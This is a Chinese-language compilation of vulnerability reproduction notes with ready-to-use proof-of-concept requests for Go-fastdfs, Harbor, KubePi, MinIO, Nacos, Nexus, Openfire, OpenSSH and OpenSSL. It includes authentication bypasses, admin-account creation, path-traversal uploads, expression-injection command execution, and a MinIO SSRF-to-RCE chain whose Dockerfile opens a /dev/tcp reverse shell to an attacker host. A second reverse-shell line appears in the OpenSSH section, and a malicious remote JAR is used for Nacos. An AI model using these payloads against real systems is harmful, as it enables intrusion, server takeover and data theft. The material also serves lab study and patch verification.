服务器设备漏洞


IP签名

容器化与云服务

Go-fastdfs

GetClientIp 未授权访问漏洞

漏洞描述

Go-fastdfs GetClientIp方法存在XFF头绕过漏洞,攻击者通过漏洞可以未授权调用接口,获取配置文件等敏感信息

漏洞影响

Go-fastdfs

网络测绘

“go-fastdfs”

漏洞复现

主页面

img

调用读取配置接口,返回 ip 不允许访问

/group1/reload?action=get

img

追踪错误信息代码

img

img

跟一下 GetClientIp方法,这里会从 X-Forwarded-For 等参数获取值

img

回到调用的起点,验证方法为调用 IsPeer 参数

img

img

这里主要是验证获取到的值是否为配置中的 AdminIps

img

在配置文件 cfg.json 中 admin_ips 默认为 127.0.0.1 (可被爆破)

img

所以通过设置 X-Forwarded-For 就可以绕过接口调用限制,执行修改配置文件等操作,验证POC

/group1/reload?action=get

X-Forwarded-For: 127.0.0.1

image-20240811111105093

upload 任意文件上传漏洞 CVE-2023-1800

漏洞描述

Go-fastdfs upload 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器中,攻击服务器

漏洞影响

Go-fastdfs

网络测绘

“go-fastdfs”

漏洞复现

主页面

img

验证POC

POST /group1/upload HTTP/1.1
Host: 
Content-Length: 951
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryigj9M9EJykZc9u53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="file"; filename="id"
Content-Type: application/octet-stream

test
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="scene"

default
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="filename"

id_rsa
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="output"

json2
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="path"

../../../../../root/.ssh
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="code"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="auth_token"


------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryigj9M9EJykZc9u53--

img

image-20240811111145775

Harbor

CVE-2019-16097

Harbor 未授权创建管理员漏洞

漏洞描述

近日,镜像仓库Harbor爆出任意管理员注册漏洞,攻击者在请求中构造特定字符串,在未授权的情况下可以直接创建管理员账号,从而接管Harbor镜像仓库。我们得到消息,第一时间对该漏洞进了验证,官方已发布公告说明,最新的1.7.6和1.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。

漏洞影响

Harbor 1.7.0版本至1.8.2版本

网络测绘

title=”Harbor”

漏洞复现

登录页面如下

img

/api/user 接口发送创建用户的请求, 状态码返回201即创建成功

img

使用创建的账户成功登录后台

img

KubeOperator

KubeOperator kubeconfig 未授权访问漏洞 CVE-2023-22480

漏洞描述

KubeOperator 是一个开源的轻量级 Kubernetes 发行版,专注于帮助企业规划、部署和运营生产级别的 Kubernetes 集群。CVE-2023-22480 中,由于下载kubeconfig的路径不需要身份认证,导致攻击者可直接下载kubeconfig获取相关敏感信息。

漏洞影响

KubeOperator < 3.16.4

网络测绘

app=”KubeOperator”

漏洞复现

登陆页面

img

在补丁中修复了配置文件下载接口的未授权

img

当集群存在时可通过接口未授权下载配置文件

img

验证POC (k8s为集群名称,不固定)image-20240811164803083

KubePi

KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463

漏洞描述

KubePi 中存在 JWT硬编码,攻击者通过硬编码可以获取服务器后台管理权限,添加任意用户

漏洞影响

KubePi

网络测绘

“kubepi”

漏洞复现

登陆页面

img

验证POC

POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8

{
  "authenticate": {
       "password": "{{randstr}}"
  },
  "email": "{{randstr}}@qq.com",
  "isAdmin": true,
  "mfa": {
          "enable": false
   },
  "name": "{{randstr}}",
  "nickName": "{{randstr}}",
  "roles": [
       "Supper User"
  ]
}

image-20240811164838971

CVE-2023-22478

KubePi LoginLogsSearch 未授权访问漏洞

漏洞描述

KubePi LoginLogsSearch 方法下的接口存在未授权访问漏洞,攻击者通过漏洞可以未授权获取用户的登录日志信息,进一步爆破用户

漏洞影响

KubePi <= v1.6.4

网络测绘

“kubepi”

漏洞复现

登录页面

img

补丁中对路由加了身份验证

img

对应的接口为

img

验证POC

POST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1
Content-Type: application/json

{}

image-20240811164909778

minio

CVE-2021-21287

MinIO SSRF漏洞

漏洞描述

随着工作和生活中的一些环境逐渐往云端迁移,对象存储的需求也逐渐多了起来,MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议,也支持作为S3的网关,所以在全球被广泛使用,在Github上已有25k星星。MinIO中存在SSRF漏洞,通过漏洞可以获取敏感信息或远程命令执行

漏洞影响

MinIO

漏洞复现

既然我们选择了从MinIO入手,那么先了解一下MinIO。其实我前面也说了,因为平时用到MinIO的时候很多,所以这一步可以省略了。其使用Go开发,提供HTTP接口,而且还提供了一个前端页面,名为“MinIO Browser”。当然,前端页面就是一个登陆接口,不知道口令无法登录。

那么从入口点(前端接口)开始对其进行代码审计吧。

在User-Agent满足正则.*Mozilla.*的情况下,我们即可访问MinIO的前端接口,前端接口是一个自己实现的JsonRPC:

image-20210124211255239.png

我们感兴趣的就是其鉴权的方法,随便找到一个RPC方法,可见其开头调用了webRequestAuthenticate,跟进看一下,发现这里用的是jwt鉴权:

image-20210124211738748.png

jwt常见的攻击方法主要有下面这几种:

将alg设置为None,告诉服务器不进行签名校验

如果alg为RSA,可以尝试修改为HS256,即告诉服务器使用公钥进行签名的校验

爆破签名密钥

查看MinIO的JWT模块,发现其中对alg进行了校验,只允许以下三种签名方法:

image-20210124212344593.png

这就堵死了前两种绕过方法,爆破当然就更别说了,通常仅作为没办法的情况下的手段。当然,MinIO中使用用户的密码作为签名的密钥,这个其实会让爆破变地简单一些。

鉴权这块没啥突破,我们就可以看看,有哪些RPC接口没有进行权限验证。

很快找到了一个接口,LoginSTS。这个接口其实是AWS STS登录接口的一个代理,用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口(也就还是他自己,因为它是兼容AWS协议的)。

简化其代码如下:

// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")

    v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)

    scheme := "http"
    // ...

    u := &url.URL{
        Scheme: scheme,
        Host:   r.Host,
    }

    u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}

没发现有鉴权上的绕过问题,但是发现了另一个有趣的问题。这里,MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL。

这个过程有什么问题呢?

因为请求头是用户可控的,所以这里可以构造任意的Host,进而构造一个SSRF漏洞。

我们来实际测试一下,向http://192.168.227.131:9000发送如下请求,其中Host的值是我本地ncat开放的端口(192.168.1.142:4444):

POST /minio/webrpc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

成功收到请求:

image-20210124215812861.png

可以确定这里存在一个SSRF漏洞了。

仔细观察,可以发现这是一个POST请求,但是Path和Body都没法控制,我们能控制的只有URL中的一个参数WebIdentityToken

但是这个参数经过了URL编码,无法注入换行符等其他特殊字符。这样就比较鸡肋了,如果仅从现在来看,这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。

幸运的是,Go默认的http库会跟踪302跳转,而且不论是GET还是POST请求。所以,我们这里可以302跳转来“升级”SSRF漏洞。

使用PHP来简单地构造一个302跳转:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

将其保存成index.php,启动一个PHP服务器:

image-20210124225105734.png

将Host指向这个PHP服务器。这样,经过一次302跳转,我们收获了一个可以控制完整URL的GET请求:

image-20210124224837443.png

放宽了一些限制,结合前面我对这套内网的了解,我们可以尝试攻击Docker集群的2375端口。

2375是Docker API的接口,使用HTTP协议通信,默认不会监听TCP地址,这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么,我们是否可以通过SSRF来攻击这个接口呢?

在Docker未授权访问的情况下,我们通常可以使用docker rundocker exec来在目标容器里执行任意命令(如果你不了解,可以参考[这篇文章](http://blog.neargle.com/SecNewsBak/drops/新姿势之Docker Remote API未授权访问漏洞分析和利用.html))。但是翻阅Docker的文档可知,这两个操作的请求是POST /containers/createPOST /containers/{id}/exec

两个API都是POST请求,而我们可以构造的SSRF却是一个GET的。怎么办呢?

还记得我们是怎样获得这个GET型的SSRF的吗?通过302跳转,而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求,因为他的Path不可控。

如何构造一个Path可控的POST请求呢?

我想到了307跳转,307跳转是在RFC 7231中定义的一种HTTP状态码,描述如下:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.

307跳转的特点就是不会改变原始请求的方法,也就是说,在服务端返回307状态码的情况下,客户端会按照Location指向的地址发送一个相同方法的请求。

我们正好可以利用这个特性,来获得POST请求。

简单修改一下之前的index.php:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

尝试SSRF攻击,收到了预期的请求:

image-20210124232243242.png

Bingo,获得了一个POST请求的SSRF,虽然没有Body。

回到Docker API,我发现现在仍然没法对run和exec两个API做利用,原因是,这两个API都需要在请求Body中传输JSON格式的参数,而我们这里的SSRF无法控制Body。

继续翻越Docker文档,我发现了另一个API,Build an image

image-20210124232945843.png

这个API的大部分参数是通过Query Parameters传输的,我们可以控制。阅读其中的选项,发现它可以接受一个名为remote的参数,其说明为:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

这个参数可以传入一个Git地址或者一个HTTP URL,内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。

也就是说,Docker API支持通过指定远程URL的方式来构建镜像,而不需要我在本地写入一个Dockerfile。

所以,我尝试编写了这样一个Dockerfile,看看是否能够build这个镜像,如果可以,那么我的4444端口应该能收到wget的请求:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

然后修改前面的index.php,指向Docker集群的2375端口:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

进行SSRF攻击,等待了一会儿,果然收到请求了:

image-20210124233853616.png

完美,我们已经可以在目标集群容器里执行任意命令了。

此时离我们的目标,拿下MinIO,还差一点点,后面的攻击其实就比较简单了。

因为现在可以执行任意命令,我们就不会再受到SSRF漏洞的限制,可以直接反弹一个shell,或者可以直接发送任意数据包到Docker API,来访问容器。经过一顿测试,我发现MinIO虽然是运行的一个service,但实际上就只有一个容器。

所以我编写了一个自动化攻击MinIO容器的脚本,并将其放在了Dockerfile中,让其在Build的时候进行攻击,利用docker exec在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下:

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

这个脚本所干的事情比较简单,一个是遍历了所有容器,如果发现其镜像的名字中包含minio/minio,则认为这个容器就是MinIO所在的容器。拿到这个容器的Id,用exec的API,在其中执行反弹shell的命令。

最后成功拿到MinIO容器的shell

参考文章

CVE-2023-28432

MinIO集群模式信息泄露漏洞(CVE-2023-28432)

MinIO是一个开源对象存储系统。

在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_ROOT_USERMINIO_ROOT_PASSWORD

参考链接:

漏洞影响

MinIO <= RELEASE.2023-03-20T20-16-18Z

网络测绘

app=”minio”

漏洞环境

执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务:

docker compose up -d

集群启动后,访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务。

漏洞复现

这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上,发送如下数据包即可查看泄露的环境变量:

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

可见,其中包含MINIO_ROOT_USERMINIO_ROOT_PASSWORD。使用这个账号密码,即可成功登录管理后台:

image-20240805165803418

nacos

Alibaba Nacos secret.key默认密钥 未授权访问漏洞

漏洞描述

Alibaba Nacos 使用了固定的secret.key默认密钥,导致攻击者可以构造请求获取敏感信息,导致未授权访问漏洞

漏洞影响

Alibaba Nacos <= 2.2.0

网络测绘

app=”NACOS”

漏洞复现

登陆页面

img

漏洞原因是由于使用了固定的Key

img

验证POC

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9

image-20240811095037694

Alibaba Nacos user 未授权访问漏洞

漏洞描述

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

漏洞影响

Alibaba Nacos

网络测绘

app=”NACOS”

漏洞复现

登陆页面

img

验证POC

GET /nacos/v1/auth/users?pageNo=1&pageSize=9
User-Agent: Nacos-Server

image-20240811095132255

CVE-2021-29441

Nacos 认证绕过漏洞(CVE-2021-29441)

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

参考链接:

漏洞环境

运行漏洞环境:

docker compose up -d

环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务

docker compose restart nacos

漏洞利用脚本

python poc.py http://target:8848

poc

漏洞复现

漏洞利用过程如下:

  1. 修改User-Agent的值为Nacos-Server到请求包中
  2. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`
  3. 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户
  4. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表
  5. 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录

检测漏洞是否存在

1
添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItems

添加新用户

2
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhub

使用新建的账号进行登录

image-20240805165522436

CVE-2021-29442

Alibaba Nacos 未授权接口命令执行漏洞(CVE-2021-29442)

Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。

在Nacos 1.4.1之前的版本中,一些API端点(如/nacos/v1/cs/ops/derby)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意Derby SQL语句和 Java 代码。

参考资料:

漏洞环境

执行如下命令启动一个 Alibaba Nacos 1.4.0服务器:

docker compose up -d  

服务器启动后,访问http://your-ip:8848/nacos/可以看到 Nacos 的默认登录页面。

漏洞复现

首先,将恶意JAR包evil.jar上传到攻击者的HTTP服务器上,例如http://evil/Nacos.jar

然后,执行POC

python poc.py -t http://your-ip:8848 -s http://evil/Nacos.jar -c "ps aux"  

-t参数指定目标地址,-s参数指定恶意JAR包的地址,-c参数指定要执行的命令。

可见,ps aux命令已被成功执行:

image-20240805165715837

nexus

CVE-2019-7238

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。

参考链接:

环境搭建

执行如下命令启动Nexus Repository Manager 3.14.0:

docker compose up -d

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。

使用账号密码admin:admin123登录后台,然后在maven-releases下随便上传一个jar包:

触发该漏洞,必须保证仓库里至少有一个包存在。

漏洞复现

接口没有校验权限,所以直接发送如下数据包,即可执行touch /tmp/success命令:

POST /service/extdirect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

可见,/tmp/success已成功执行:

原理是expression位置的JEXL表达式被执行,详情可阅读参考文档。

利用classloader加载字节码即可获得回显:

image-20240805165953029

CVE-2020-10199

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,具有任意用户权限的攻击者可以在目标服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动Nexus Repository Manager 3.21.1:

docker compose up -d

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。

该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台。

漏洞复现

登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{233*233*233}"]
  }
}

参考https://github.com/jas502n/CVE-2020-10199,使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功执行任意命令。

CVE-2020-10204

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,具有管理员权限的攻击者可以在目标服务器上执行任意命令。这个漏洞是CVE-2018-16621的绕过。

参考链接:

漏洞环境

执行如下命令启动Nexus Repository Manager 3.21.1:

docker compose up -d

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。

该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台。

漏洞复现

登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:

POST /service/extdirect HTTP/1.1
Host: your-ip
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
Connection: close

{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}

参考https://github.com/jas502n/CVE-2020-10199,使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功执行任意命令:

image-20240805170200963

CVE-2024-4956

Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。

其3.68.0及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。

参考链接:

漏洞环境

执行如下命令启动一个Nexus Repository Manager version 3.68.0 版本服务器:

docker compose up -d

环境启动后,访问http://your-ip:8081即可看到Nexus的默认页面。

漏洞复现

与Orange Tsai在Blackhat US 2018分享的SpringMVC CVE-2018-1271漏洞类似,Jetty的URIUtil.canonicalPath()函数也将空字符串认为是一个合法目录,导致了该漏洞的产生:

发送如下请求来复现漏洞:

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

可见,/etc/passwd已被成功读取:

image-20240805170231307

openfire

CVE-2023-32315

Openfire管理后台认证绕过漏洞(CVE-2023-32315)

Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。

在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。

参考文档:

漏洞环境

执行如下命令启动一个4.7.4版本的Openfire:

docker compose up -d

服务器启动后,访问http://your-ip:9090你将会被强制跳转到登录页面。

漏洞复现

十多年前,Openfire管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用/setup/setup-/../../[page].jsp来绕过权限校验并访问任意后台页面。

从那以后,Openfire增加了对于路径穿越问题的防护策略,用以抵御这个漏洞。但是因为后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点。

这样也导致我们可以使用UTF-16字符来绕过路径穿越的防护,再次复活路径穿越漏洞,/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp

我们可以发送如下数据包,利用该路径穿越漏洞创建一个新的管理员:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hackme

之后我们便可以使用这个账号登录管理后台:

image-20240805164546465

openssh

CVE-2018-15473

OpenSSH 用户名枚举漏洞(CVE-2018-15473)

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

参考链接:

漏洞环境

执行如下命令,编译及启动一个运行OpenSSH 7.7p1的容器:

docker compose build
docker compose up -d

环境启动后,我们在客户端执行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p20022,输入密码vulhub,即可登录到容器中。

漏洞复现

使用CVE-2018-15473-Exploit,枚举字典中的用户名:

python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

可见,rootexamplevulhubnobody是存在的用户,rootInvaliduserphithon是不存在的用户。

CVE-2020-15778

OpenSSH 命令注入漏洞

漏洞描述

2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。

漏洞影响

OpenSSH <= 8.3p1

漏洞复现


攻击机创建 peiqi.txt ,利用 scp上传文件 到 /tmp 目录下

img

执行命令 ping dnslog

img

反弹shell 更换命令即可

/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

openssl

CVE-2014-0160

OpenSSL 心脏出血漏洞(CVE-2014-0160)

心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。

参考链接:

影响版本

OpenSSL1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本

环境搭建

运行如下命令启动一个使用了OpenSSL 1.0.1c的Nginx服务器:

https://github.com/vulhub/vulhub.git
cd vulhub/openssl/heartbleed
docker-compose up -d

环境启动后,访问https://your-ip:8443即可查看到hello页面(需要忽略https错误)。

我们在运行这个环境的时候遇到过一个错误,部分AMD架构的CPU无法成功访问https页面,如果你也遇到过类似的问题,可以换Intel CPU试试。

漏洞复现

访问https://filippo.io/Heartbleed进行在线检测:

Python运行ssltest.py,拿到敏感数据(Cookie):

image-20240805164703354

使用Nmap检测脚本对目标进行检测

img

检测到心脏滴血漏洞,使用MSF对目标进行攻击

